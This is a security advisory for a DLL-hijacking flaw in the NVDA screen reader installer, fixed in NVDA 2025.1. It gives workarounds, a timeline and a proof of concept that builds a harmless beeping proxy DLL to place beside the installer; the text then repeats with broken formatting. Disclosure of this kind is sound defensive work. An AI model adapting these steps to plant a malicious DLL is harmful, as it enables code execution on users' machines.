Summary
The installer tries to load DLL files from its directory.
This can potentially result in unwanted code execution.
Patch commit(s)
82fefa5
Limitations
The installer needs to be located in a directory with certain .dll files.
Technical details
Proof of concept
- Clone https://github.com/SeanPesce/DLL_Wrapper_Generator
Tested with commit 946d47ee7c6e120facf4efafef0e319733e2646c, which is the latest as of 2024-08-06.
- copy c:\windows\syswow64\ksuser.dll
- python Generate_Wrapper.py ksuser.dll
This should generate a directory ksuser.
- Edit
ksuser\ksuser\ksuser.cpp and add Beep(2000, 50); to DllMain in the DLL_PROCESS_ATTACH condition.
Also change the LoadLibrary call to:
mHinstDLL = LoadLibrary( "c:\\windows\\system32\\ksuser.dll" );
- Open the sln and build with Visual Studio. You should have
ksuser\release\ksuser.dll.
- Copy that to the directory containing
nvda_2024.2.exe.
- Run
nvda_2024.2.exe.
It should run, but also beep.
Indicators of compromise
Presence of a DLL in the same directory as the NVDA installer.
Workarounds
Run the NVDA installer from an empty directory.
Timeline
- Reported: 2024/08/08
- Acknowledged by NV Access: 2024/08/09
- Fix released - NVDA 2025.1: 2025/06/16
For more information
If you have any questions or comments about this advisory:
Summary
The installer tries to load DLL files from its directory.
This can potentially result in unwanted code execution.
Patch commit(s)
82fefa5
Limitations
The installer needs to be located in a directory with certain .dll files.
Technical details
Proof of concept
Tested with commit 946d47ee7c6e120facf4efafef0e319733e2646c, which is the latest as of 2024-08-06.
This should generate a directory
ksuser.ksuser\ksuser\ksuser.cppand addBeep(2000, 50);toDllMainin theDLL_PROCESS_ATTACHcondition.Also change the
LoadLibrarycall to:mHinstDLL = LoadLibrary( "c:\\windows\\system32\\ksuser.dll" );ksuser\release\ksuser.dll.nvda_2024.2.exe.nvda_2024.2.exe.It should run, but also beep.
Indicators of compromise
Presence of a DLL in the same directory as the NVDA installer.
Workarounds
Run the NVDA installer from an empty directory.
Timeline
For more information
If you have any questions or comments about this advisory: